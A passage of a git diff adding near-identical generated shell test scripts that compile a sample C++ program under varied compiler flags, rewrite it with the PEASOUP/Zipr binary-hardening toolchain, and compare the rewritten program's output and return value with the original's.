+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2576d02c19ec67f6391f6035b36f3a2c019c19d1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1ea00e9edf47035647e9fa05cb45be961e792d6b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..33782f2efe8d89fbc069cd0840d4306db324187d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b8eaa9f81101ae4b8f718b39b372b6aab9d5fc13
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..778fe360bb19a446adc731459e3d4ea512f49884
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..59b6bd12d8e89c9d3d6be8ca4e1be9184370cf95
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
